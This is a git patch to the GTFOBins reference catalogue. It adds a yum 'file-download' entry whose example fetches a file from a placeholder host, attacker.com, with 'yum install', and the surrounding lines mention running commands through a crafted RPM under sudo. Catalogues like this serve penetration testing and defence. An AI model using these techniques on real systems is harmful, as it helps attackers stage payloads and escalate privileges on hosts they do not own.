From b8dc2aa81754ca335ebf40631ca034d9df66561b Mon Sep 17 00:00:00 2001 From: Roman Mueller Date: Fri, 2 Oct 2020 20:22:06 +0200 Subject: [PATCH] Add file-download to yum --- _gtfobins/yum.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/_gtfobins/yum.md b/_gtfobins/yum.md index b1db91c..6d9842e 100644 --- a/_gtfobins/yum.md +++ b/_gtfobins/yum.md @@ -1,5 +1,11 @@ --- functions: + file-download: + - description: Fetch a remote file via HTTP GET request. The file on the remote host must have an extension of `.rpm`, the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in `/var/tmp`, for example `/var/tmp/yum-root-cR0O4h/`. + code: | + RHOST=attacker.com + RFILE=file_to_get.rpm + yum install http://$RHOST/$RFILE sudo: - description: | It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.